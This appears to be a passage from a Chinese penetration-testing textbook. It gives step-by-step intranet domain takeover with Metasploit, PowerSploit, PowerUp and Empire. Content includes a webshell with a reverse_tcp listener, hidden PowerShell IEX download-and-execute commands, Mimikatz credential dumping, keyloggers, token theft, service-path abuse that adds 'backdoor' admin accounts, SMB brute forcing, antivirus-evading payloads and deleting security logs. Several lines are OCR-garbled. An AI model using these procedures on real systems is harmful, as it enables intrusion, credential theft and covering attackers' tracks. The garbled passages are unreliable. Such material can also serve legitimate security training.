generate -t aspx //生成Aspx版的 ShellCode
这里生成一个Aspx版的WebShell
我们把内容保存为aspx.aspx,再上传到目标服务器,这里因为是虚拟机所以直接复制到Windows 2012下的C:/inetpub/wwwroot目录。
接着启动Msfconsole,使用以下命令设置监听。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set Lhost 192.168.31.247
set 1port 4444 run
然后打开http://192.168.31.250/aspx.aspx,
回到MSF下面,可以看到服务端已经反弹成功。
最后可以使用sysinfo和getuid等Meterpreter命令渗透目标主机。
5.9内网攻击域渗透测试实例
5.9.1介绍渗透环境
首先介绍此次渗透的环境:假设我们现在已经渗透了一台服务器PAVMSEF21,该服务器内网IP为10.51.0.21。扫描后发现内网网络结构大概如图5-102所示,其中PAVMSEF21是连接外网和内网的关键节点,内网的其他服务器均不能直接连接。
我们的渗透目标是通过一个普通的WebShell权限一步步地获得域管权限,从而掌握整个内网。
5.9.2提升权限
上传免杀的Payload到机器名为PAVMSEF21、IP为10.51.0.21的服务器上,然后在“中国菜刀”或者WebShell下运行。
获得Meterpreter Shell后要做的第一件事情就是提权。通常,在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的权限级别将使我们受到很多的限制,以必须将访问权限从Guset提升到User,再到Administrator,最后到SYSTEM级别。
我们先尝试利用本地溢出漏洞提权,即使用本地漏洞的利用程序(Local Exploit)提升权限。也就是说,通过运行一些现成的、能造成溢出漏洞的Exploit,把用户从 User组或其他系统用户组提升到Administrator组(或root)。
此时,我们获取的权限是一个普通域用户权限。
首先利用本地溢出漏洞提权,发现服务器补丁打得很全,接着尝试使用MS15051和MS15078,都以失败告终。
再尝试绕过Windows账户控制(UAC),我们现在具有一个普通域用户的权限利用Bypass UAC模块提权,又以失败告终,如果成功会返回一个新的Meterpreter Shell。
使用BypassUAC模块进行提权时,系统当前用户必须在管理员组,而且用户账户控制程序UAC设置为默认,即“仅在程序试图更改我的计算机时通知我”,而且 Bypass UAC模块运行时会因为在目标机上创建多个文件而被杀毒软件识别。我们没能绕过UAC,可能是这两个原因。
其实提权没有成功也不要紧,我们还是可以以此服务器为跳板,攻击其他服务器的。
5.9.3信息收集
虽然此时的提权不成功,但还是可以进行域渗透测试的。有了内网的第一台机器的权限后,就到了很关键的一步--收集信息,它也是内网渗透中不可或缺的一部分。
首先要查看当前机器的网络环境,收集域里的相关信息,包括所有的用户、所有的计算机,以及相关关键组的信息,下面列出了常用的命令及其作用,
net user /domain: 查看域用户。
net view /domain: 查看有几个域。
net view /domain:XXX:查看域内的主机。
net group /domain: 查看域里面的组。
net group“domain computers”/domain:查看域内所有的主机名。
net group“domain admins”/domain: 查看域管理员。
net group “domain controllers” /domain: 查看域控制器。
net group “enterprise admins”/domain: 查看企业管理组。
nettime/domain: 查看时间服务器。
5.9.4获取一台服务器的权限
我们的目标是域服务器,此时有两种情况:当前服务器可以直接攻击域服务器和不可以直接攻击域服务器。不可以直接攻击又分为两种情况:如果是权限不够就需要提升权限;如果是不能连接到域服务器,则需要攻击内网中某个可以连接到域服务器的服务器,然后以此为跳板再攻击域服务器。
现在因为权限问题不可以直接攻击域服务器,可以采取以下方法继续渗透。
使用Meterpreter目前拥有的权限添加内网路由,进行弱口令扫描。
2.使用PowerShell对内网进行扫描(要求目标机是Windows 7以上的服务器)。
3.架设Socks4a,然后Socks会自动进行内网扫描。
4.利用当前权限进行内网IPCS渗透。
5.其他方法。
通过上面的分析,我们先选择最简单的方法,输入net view命令,在列举的机器名里选择一个和我们机器名相似的服务器来试试,不出意外的话,成功率很高。
5.9.5 PowerShell 寻找域管在线服务器
Windows PowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。PowerShell还允许将几个命令组合起来放到文件里执行,实现文件级的重用,也就是说具有脚本的性质。
这里先使PowerView脚本来获取当域管理员在线登录的服务器,我们将Power View脚本的Invoke-User Hunter模块上传到主机名为PAVMSEP131,IP为10.51.0.131的服务器中,然后输入Invoke-UserHunter。
具体命令如下所示。
powershell.exe -exec bypass -Command
“&{Import-Module .\powerview.ps1;Invoke-UserHunter}"
可以看到域管理员当前在线登录的机器主机名为PAVMSXD30,IP为10.51.0.30,此时需要入侵此服务器,然后将其迁移到域管理登录所在的进程,这样便拥有了域管理的权限。
5.9.6获取域管权限
现在笔者成功地获取主机名为PAVMSXD30,IP为10.51.0.30的服务器权限,接下来就可以渗透域控了。
首先输入getsystem命令提升权限。
可以看到笔者现在的UID是sonicwall,从前面获取的域管理员账号信息中已知 sonicwall是域管理员。
然后输入ps命令找到域管理所在的进程,把Meterpreter Shell进程迁移到此进程中,成功后就获得了域管理权限。
这里除了迁移进程,也可以使用Metasploit中的窃取令牌功能,同样能获得获得域管理权限。
接着查看主域控IP,这里使用nettime命令,一般来说时间服务器都是域服务器。
可以看到域服务器的主机名为PAVMSAD64,IP地址为10.51.0.63。
现在我们可以使用经典的IPCS入侵来反弹一个Meterpreter Shell。
提示at命令已经被弃用,因为目标机的系统是Windows 2012,现在使用schtasks命令来添加计划任务。因为现在已经在域管理员权限下面了,所以要给域控添加一个管理员账户。
利用命令确认账户是否添加成功。
可以看到已经添加了管理员账户。
5.9.7登录域控制
权限到手,登录域控制,然后抓域控的Hash。
常见的登录域控的方式有以下这几种。
利用IPC上传AT&Schtasks远程执行命令。
利用端口转发或者Socks登录域控远程桌面。
登录对方内网的一台计算机使用PsTools工具包中的PsExec来反弹Shell。
使用Metasploit下的PsExec、psexec_psh、Impacket psexec、pth-winexe、Empire Invoke-Psexec等PsExec类工具反弹Shell。
5.使用Metasploit下的smb_login来反弹Meterpreter。
6.使用WMI(Windows Management Instrumentation)来进行攻击。
7.使用PsRemoting posershel远程执行命令。
8.其他一些方法。
这里采用最常见也是效果最好的方式,即Metasploit下的PsExec来反弹Meterpreter,使用时要注意以下这两点,
1.MSF中的PsExec模块。
2.cuestom模块,建议使用类似Veil之类的工具来生成免杀的Payload。
可以看到一件反弹成功了,然后先迁移进程,查看域控的系统信息和sessions控制图。
思路:可以看到现阶段控制的session共有5个。sessionl为WebShell反弹,session2利用ipc$入侵,渗透session4的目的是获取域管在线服务器,session5为域。整个渗透过程一环套一环,环环相扣。
有了域控的权限,接着来抓Hash,常用方法有以下这几种。
使用Metasploit自带的dumphash或者smart_hashdump模块导出用户的Hash。
利用PowerShell的相应模块导出Hash。
使用WCE、Mimikatz等工具。
其他方法。
5.9.8 SMB爆破内网
有了域控的带码。接下来只要快速在内网扩大控制权限就好,其体操作如下所示
利用当前获取的域控账户密码,对整个域经1P段进行扫描。
使用SMB下的smb logn模块。
端口转发或者Socks作理进内网。
我们先在Metaskn东加路制,然后使特smb1ogin模块或者psexee scsnner模块进行爆彼。
可以看出,我们获取了大量内网服务器的密码,下面就可以畅游内网了。可以使用Meterpreter的端口转发,也可以使用Metasploit下的Socks4a模块或者第三方软件。
这里简单地使用Meterpreter的端口转发即可。
5.9.9清理日志
清理日志主要有以下几个步骤:
1.删除之前添加的域管理账号。
2.删除所有在渗透过程中使用过的工具。
3.删除应用程序、系统和安全日志。
4.关闭所有的Meterpreter连接。
第六章 PowerShell 攻击指南
6.1 PowerShell技术
常用的PowerShell攻击工具有以下这几种。
PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。
Nishang:基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种
Payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。
Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。
PowerCat:PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用它。
6.1.1 PowerShell简介
PowerShell有以下这几个优点
Windows 7以上的操作系统默认安装。
PowerShell脚本可以运行在内存中,不需要写入磁盘。
可以从另一个系统中下载PowerShell脚本并执行。
目前很多工具都是基于PowerShell开发的。
很多安全软件并不能检测到PowerShell的活动。
cmd.exe通常会被阻止运行,但是PowerShell不会。
可以用来管理活动目录。
各个Windows系统下的PowerShell版本,如下图所示
可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看PowerShell版本,如图所示
6.1.2 PowerShell的基本概念
1.PS1文件
一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的扩展名。
2.执行策略
在PowerShell脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。
• Get-ExecutionPolicy。
Restricted:脚本不能运行(默认设置)。
•RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
• AllSigned:仅当脚本由受信任的发布者签名时才能运行。
• Unrestricted:允许所有的script运行。
读者还可以使用下面的cmdlet命令设置PowerShell的执行策略~
Set-ExecutionPolicy <policy name>
3.运行脚本
运行一个Powershell脚本,必须键入完整的路径和文件名。
4.管道
管道的作用是将一个命令的输入作为另一个命令的输入,两个命令之间用管道符号(|)连接。
6.1.3 PowerShell的常用命令
1.基本知识
下面以文件操作为例讲解Powershell命令的基本用法。
新建目录:New-ltem whitecellclub-ItemType Directory。
新建文件:New-Item light.txt-ItemType File。
删除目录:Remove-Item whitecellclub。
显示文本内容:Get-Content test.txt.
设置文本内容:Set-Content test.txt-Value"hell, word!"。
追加内容:Add-Content light.txt-Value"i love you"。
清除内容:Clear-Content test.txt。
2.常用命令
还可以通过Windows终端提示符输入PowerShell,进入PowerShell命令行,输入help命令显示帮助菜单,如图所示
如果要运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些方法绕过策略来执行脚本,比如下面这三种。
绕过本地权限执行
上传xxx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示。
PowerShell.exe-ExecutionPolicy Bypass-File xxx.ps1
本地隐藏绕过权限执行脚本
PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoLogo-
Nonlnteractive-NoProfile-File xxx.ps1
用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-
NoProfile-Nonl EX(New-ObjectNet.WebClient).DownloadString
("xxx.ps1");[Parameters]
下面对上述命令的参数进行说明,如下所示。
·ExecutionPolicyBypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShel的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
·WindowStyle Hidden:隐藏窗口
·NoL.ogo:启动不显示版仪标志的PowerShell.
·Nonlnteractive(-Nonl):非交互模式,PowerShell不为用户提供交互的提示
·NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
·Noexit:执行后不退出Shell.这在使用键盘记录等脚本时非常重要。
6.2 PowerSploit
PowerSploit是一款基于PowerShell的后渗透(Post-Exploitation)框架软件,包含很多PowerShell攻击脚本,它们主要用于渗透中的信息侦察、权限提升、权限维持,其GitHub地址为htps://github.com/PowerShelMafia/PowerSploit。
·AntivirusBypass:发现杀毒软件的查杀特征。
·CodeExecution:在目标主机上执行代码。
·Exfitration:目标主机上的信息搜集工具。
·Mayhem:蓝屏等破坏性脚本。
·Persistence:后门脚本(持久性控制)。
·Recon:以目标主机为跳板进行内网信息侦查。
·.SeriptModification:在目标主机上创建或修改脚本。
6.2 PowerSploit的安装
下载PowerSploit脚本到服务器,搭建一个简易的WEB服务器。将PowerSploit目录放到WEB目录,使其可以通过HTTP访问到。这里以kali服务器为例,介绍两种方式
第一种方式:
开启apache服务:service apache2 start
将powersploit目录放到/var/www/html/中
第二种方式:
切换到powersploit目录,然后执行如下命令开启WEB服务器
python3 -m http.server 8080
Git clone GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework
在浏览器中打开WEB服务器地址,如下图所示
6.2.1 PowerSploit脚本攻击实战
PowerSploit提供了各类攻击脚本,数量相当多,这里介绍一些在实战中使用比较多的脚本,其他的大家可以尝试使用。利用这些脚本一般是通过我们前期获取的目标shell,在命令行中远程下载这些脚本,在目标服务器上使用。为方便,这里我们直接在目标服务器做这些操作。
Invoke-Shellcode脚本
CodeExecution模块下的Invoke-Sellcode脚本常用于将ShellCode插入本地Powershell中或者指定的进程ID。
直接执行ShellCode反弹Meterpreter Shell
首先在MSF里使用reverse_https模块进行监听
使用msfvenom命令生成一个PowerShell脚本木马
接着在目标机Powershell下输入以下命令下载该脚本
接着输入以下命令下载木马
接着在PowerShell下运行该命令
-Force意思是不用提示,直接执行。返回MSF的监听界面下,发现已经反弹成功了。
Invoke-Portscan扫描端口
nvoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也很简单。
首先下载脚本
然后使用以下命令进行扫描,-Hosts为要扫描的目标IP,-Ports为要扫的端口,从下图可
以看到,扫描出该IP机器开放了80,22,4444端口
6.2.2 Invoke-Mimikatz 信息收集
Mimikatz本身在内网渗透中作用很大,PowerSploit将其集成到Exfiltration模块下,Mimikatz用来抓取主机密码,注意的是这个脚本的运行需要管理员权限。
然后载入脚本
然后使用以下命令进行抓取密码,如下图所示可以看到抓取到明文密码:654321
Get-Keystrokes 键盘记录器
Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,可以记录键盘输入记录,以及鼠标的点击情况,还能记录详细的时间
首先下载脚本
然后执行以下命令开启键盘记录
使用键盘输入一些内容,查看c:\windows\temp\key.txt中记录的内容
Get-TimedScreenshot 屏幕记录
Get-TimedScreenshot是Exfiltration模块下用来进行屏幕记录的脚本
首先下载脚本
运行脚本
注意这里Interval参数是记录的时间间隔,单位是秒,Path路径是一个存在的文件夹,记录的图片会保存在文件夹下
6.2.3 PowerUP攻击模块
Powerup是Privesc模块下的一个脚本,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权。
首先进行加载,使用如下命令,然后就可以使用PowerUP中的所有模块了。或者上传本机加载
在源码中搜索function,看PowerUP有哪些模块
如果要查看各个模块的详细说明,可以输入get-help [cmdlet] –full命令查看,比如
Get-Help Invoke-AllChecks -full
下面开始对模块介绍:
1.Invoke-AllChecks 执行所有的脚本来检查。
执行方式:PS C:> Invoke-AllChecks
2.Find-PathDLLHijack 检查当前%PATH%是否存在哪些目录是当前用户可以写入的。
执行方式:PS C:>Find-Pathdllhijack
3. Get-ApplicationHost 从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。
执行方式:
PS C:>get-ApplicationHost
PS C:>get-ApplicationHost | Format-Table -Autosize # 列表显示
4. Get-RegistryAlwaysInstallElevated 检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的。
执行方式:PS C:>Get-RegistryAlwaysInstallElevated
5. Get-RegistryAutoLogon 检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码。
执行方式:PS C:> Get-RegistryAutoLogon
6. Get-ServiceDetail 返回某服务的信息。
执行方式: PS C:> Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息
7. Get-ServiceFilePermission 检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。
执行方式:C:> Get-ServiceFilePermission
8. Test-ServiceDaclPermission
检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。
执行方式:PS C:>Test-ServiceDaclPermission
9. Get-ServiceUnquoted
检查服务路径,返回包含空格但是不带引号的服务路径。
此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。
比如C:program fileshello.exe ,会被解释为C:program.exe以及C:program fileshello.exe
执行方式:PS C:>Get-ServiceUnquoted
10. Get-UnattendedInstallFile 检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括:
c:\sysprep\sysprep.xml
c:\sysprep\sysprep.inf
c:sysprep.inf
c:\windows\Panther\Unattended.xml
c:\windows\Panther\UnattendUnattended.xml
c:\windows\Panther\Unattend.xml
c:\windows\Panther\UnattendUnattend.xml
c:\windows\S\ystem32\Sysprep\unattend.xml
c:\windows\System32\Sysprep\Panther\unattend.xml
执行方式:PS C:> Get-UnattendedInstallFile
11. Get-ModifiableRegistryAutoRun 检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。
注册表检查的键值为:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
执行方式:PS C:>Get-ModifiableRegistryAutoRun
12. Get-ModifiableScheduledTaskFile 返回当前用户能够修改的计划任务程序的名称和路径。
执行方式:PS C:>Get-ModifiableScheduledTaskFile
13. Get-Webconfig 返回当前服务器上的web.config文件中的数据库连接字符串的明文。
执行方式:PS C:>get-webconfig
14. Invoke-ServiceAbuse 用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。
执行方式:
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。
PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定义执行命令
15. Restore-ServiceBinary 恢复服务的可执行文件到原始目录。
执行方式:PS C:> Restore-ServiceBinary -ServiceName VulnSVC
16. Test-ServiceDaclPermission 检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。
执行方式:PS C:> Restore-ServiceBinary -ServiceName VulnSVC
17. Write-HijackDll
输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll。
18.Write-UserAddMSI 生成一个安装文件,运行这个安装文件,则弹出添加用户的框。
执行方式:PS C:> Write-UserAddMSI
19. Write-ServiceBinary 预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。
执行方式:
PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号
PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号
PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组
PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令
20. Install-ServiceBinary 通过Write-ServiceBinary写一个C#的服务用来添加用户。
执行方式:
PSC:> Install-ServiceBinary -ServiceName DHCP
PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"
PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password
Password123!
PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."
Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务。
6.2.4PowerUP攻击模块实战演练
很多PowerUp模块不能一一演示,只针对性介绍几个常用模块的实战应用。
实战一
首先我们安装一个存在漏洞的服务环境:
https://www.exploit-db.com/apps/4ebfe36538da7b518c2221e1abd8dcfc-pspro_50_3310.exe
安装好漏洞环境后,我们建一个普通用户:net user powerup 123456 /add
然后登录到这个新建的普通用户
我们可以把PowerUp脚本上传到目标服务器,或是远程内存加载
这里远程加载如下:
然后调用Invoke-AllChecks
先介绍下Unquoted Service Paths
简介
“包含空格但没有引号的服务路径”,利用windows解析文件路径的特性,如果一个服务的可执行文件路径设置不当,攻击者可构造对应的可执行文件,从而利用提权,PowerUp的相关模块可以帮助我们完成提权。
漏洞原理
这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe
带引号:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"会被看成一个完整的服务路径,故不会产生漏洞。
不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。
根据前面调用Invoke-AllChecks,返回的结果存在包含空格但没有引号的服务路径
C:\Program Files (x86)\Photodex\ProShow Producer\ScsiAccess.exe
这时需要检测目录是否有写权限
C:\ 普通用户目录默认是不让写的
C:\Program Files (x86)\Photodex\
可以使用cacls或icacls,可以看到当前用户不可写
测试C:\Program Files (x86)\Photodex\ProShow Producer\发现可写
直接Write-ServiceBinary 来尝试提权,如下提示进程在使用
使用move把文件重命名,然后重新执行写入,这时生成的ScsiAccess.exe为利用程序
当服务器重启后,提权成功,系统会新增一个管理员权限用户john/Password123!
提权成功后我们把所有状态恢复到最初的状态
实战二
AlwaysInstallElevated提权
该漏洞产生的原因是用户在策略编辑器中开启了Windows Installer特权安装功能:
设置漏洞环境
管理员用户在“运行”设置框中输入“gpedit.msc”,打开组策略编辑器。
组策略——计算机配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。
设置完毕之后,会在两个注册表如下位置自动创建键值为”1″。
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
防御的话,就是把上述启用的选项关闭
在这次中用到Get-RegistryAlwaysInstallElevated和Write-UserAddMSI两个模块
首先先加载PowerUp,使用Get-RegistryAlwaysInstallElevated检测相关注册表是否被设置
显示“true”则表示AlwaysInstallElevated注册表已经被设置:这就意味着MSI文件是以System权限运行的。
接着运行Write-UserAddMSI,会在当前目录下生成一个UserAdd.msi文件
以普通用户权限运行UserAdd.msi添加管理员账户 成功添加backdoor管理员权限账户
6.3Empire
6.3.1Empire简介
Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马。
Empire的全部功能可以参考其官方网站:
http://www.powershellempire.com/
Empire安装
Empire运行在linux平台上
官方下载地址,不过很久没有更新,需要Python 2.6/2.7环境
https://github.com/EmpireProject/Empire
其他分支目前还有人在更新维护,需要Python 3.x环境
https://github.com/BC-SECURITY/Empire
可以选择其中一个安装使用,这里我们还是以官方这个来安装使用
这里使用的系统是Kali,首先通过git命令下载程序目录。
git clone https://github.com/EmpireProject/Empire.git
然后安装Empire的依赖,命令如下
cd Empire
cd setup
pip install -r requirements.txt(若没有安装pip库,则需要先通过apt-get install pip进行安装)
./install.sh
在安装完依赖以后,返回上一级文件,启动Empire工具,命令如下:
cd ..
./empire
若启动失败,则可能是因为依赖未完全安装好,只需要手动通过pip install xxx安装未安装好的依赖即可。
启动时如果遇到如下报错
可以将urllib3版本降级
pip install urllib3==1.22
重新设定
bash reset.sh
打开Empire后,可以看到版本为2.5,280模块(modules),0个监听(listeners),0个会话(agents)
6.3.2 Empire的基本使用
基本使用会涉及如下内容:
1.帮助文档
2.设置监听
3.生成木马
4.连接主机和基本使用
5.信息收集
6.权限提升
帮助文档
运行Empire后,输入help命令查看具体的使用帮助。
6.3.3设置监听
Empire和Metasploit的使用原理一样,都是需要先设置一个监听,接着生成一个木马,然后在目标主机上运行该木马,我们的监听就会连接上反弹回来的会话。
设置监听步骤如下:
listeners #进入监听线程界面
uselistener #设置监听模式
info #查看具体参数设置
set #设置相应参数
execute #开始监听
输入Listeners命令进入监听界面,按TAB键可以补全命令,按两次TAB键或者help可以显示可以利用的模块
输入uselistener来设置采用何种监听模式,双击TAB可以看到有以下可以使用的模式。
这里采用http监听模式,输入uselistener http。
然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。
通过set配置参数,并提供execeute执行,需要注意的是Empire不同于Metasploit,Empire命令是区分大小写的
通过back返回上一级,使用listeners或者list可以查看所设置的监听器
6.3.4生成木马
输入usestager后 空格加TAB键 查看可以设置的木马模式
木马就类似Metasploit中的payload,其中multi为通用模块,osx是Mac操作系统的模块,剩下的是Windows的模块。
我们以 windows/launcher_bat为例,给大家说下过程,其他的使用都类似
要使用launcher_bat,首先输入usestager windows/launcher_bat,然后输入info命令查看详细参数
通过set配置参数,我们需要设置一个 Listener 参数,即监听的名字(前面我们给监听起得一个名字test1),通过execeute执行,
文件会生成到 tmp 目录下,如下所示
在目标主机上运行生成的launcher.bat,输入 agents 可以查看已经获得的会话
我们再介绍另一种生成木马方式:launcher
如果只需要简单的powershell 代码,在设置完相应的参数后,可直接在监听器(listeners)中输入命令 launcher <language> <Listener Name> 生成base64编码的代码
然后复制生成的payload 在目标机器上执行
可以看到有会话生成,输入 agents 可以查看已经获得的会话
6.3.5连接主机和基本使用
在目标主机反弹成功以后,可以通过agents命令列出当前已连接的主机,这里要注意如果有带有(*)的是已提权成功的主机。
然后使用interact命令连接主机,可以使用Tab键补全主机的名称,连接成功以后可以通过rename修改会话名称
可以通过help查看可以使用的命令
输入help agentcmds可以查看可供使用的常用命令
可以通过pwd查看当前目录
upload可以上传文件,通过cat查看文件内容
使用某些CMD命令时,要使用“shell+命令的形式” ,如下
6.3.6信息收集
Empire主要用于后渗透。所以信息收集是比较常用的一个模块,可以使用searchmodule命令搜索需要使用的模块,这里通过键如usemodule collection然后按Tab查看完整的列表
下面演示几个常用模块
1.屏幕截图
输入以下命令,然后执行即可
2.键盘记录
输入以下命令usemodule collection/keylogger,通过info可以查看详细信息,execute执行
可以通过jobs kill JOB_name停止键盘记录
3.ARP扫描
Empire也内置了ARP扫描模块,输入以下命令即可使用该模块,这里要设置Range参数
4.查找域管登陆服务器IP
在内网渗透中,要想拿到内网中某台机器的域管权限,方法之一就是找到域管登录的机器,然后横向渗透进去,窃取域管权限,从而拿下整个域,以下这个模块就是用来查找域管登录的机器的。
使用模块usemodule situational_awareness/network/powerview/user_hunter
6.3.7权限提升
提权,顾名思义就是提高自己在服务器中的权限,就比如在Windows中,你本身登陆的用户是Guest,通过提权后,就会变成超级管理员,拥有了管理Windows的所有权限。以下是常见几种提权方式:
1.Bypass UAC
UAC介绍
UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。
为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)
输入以下命令,设置Listener参数,运行execute,会发现成功上线了一个新的反弹
返回agents,通过list可以看到有一个新的会话,并且带有*,说明提权成功。
2.PowerUp
Empire内置了PowerUp的部分工具,用于系统提权,主要有Windows错误系统配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式,输入以下命令,然后通过tab键查看完整列表
查找系统中的漏洞,和PowerSploit下PowerUp中的Invoke-AllChecks模块一样,该模块可以执行所有脚本检查系统漏洞
可以看到,我们可以通过BypassUAC进行提权,前面已经见过,这里不再重复。
3.通过溢出漏洞
本地溢出提权首先要有服务器的一个普通用户权限,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出Administrator权限。
这里我们使用ms16-032来提权,输入以下命令即可通过溢出漏洞进行提权
6.3.8横向渗透
横向渗透,就是在已经攻占部分内网主机的前提下,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限、发动类似 APT 的目的。
在横向渗透中,最先得到的主机,以及之后新得到的主机,会成为突破口、跳板。如同一个不断扩大的圆形,获得的主机越多,圆能触及之处越大,让其周遭的「横向」部分由未知成为已知。
1.令牌窃取
我们在获取到服务器权限后,可以使用内置mimikatz获取系统密码,执行完毕后输入creds命令查看Empire列举的密码。如下图所示
从这里发现有域用户曾在此服务器上登录,此时可以窃取域用户身份,然后进行横向移动
首先先来窃取身份,使用命令pth<ID>,这里的ID号就是creds下的CredID号,我们这里来窃取administrator的身份令牌,执行pth 7命令
可以看到进程号为1380,使用steal_token PID命令就窃取了该身份令牌了,如下图所示。
我们先尝试访问域内另一台主机WIN7-X86的“C$”,顺利访问,如下图所示。
输入revtoself命令可以将令牌权限恢复到原来的状态
2.会话注入
我们也可以使用usemodule management/psinject模块来进程注入,获取权限,输入info查看参数设置,
设置下Listeners和ProcID这2个参数,这里的ProcID还是之前的CMD的1380,运行后反弹回一个域用户权限shell。
3.Invoke-PsExec
PsExec是我在Metasploit下经常使用的模块,还有pstools工具包当中也有psexec,缺点是该工具基本杀毒软件都能检测到,并会留下日志,而且需要开启admin$ 445端口共享。优点是可以直接返回SYSTEM权限。这里我们要演示的是Empire下的Invoke-Psexec模块。
使用该模块的前提是我们已经获得本地管理员权限,甚至域管理员账户,然后以此来进一步持续渗透整个内网。
我们测试该模块前看下当前agents,只有一个IP为192.168.31.251,机器名为WIN7-64的服务器,如下图所示
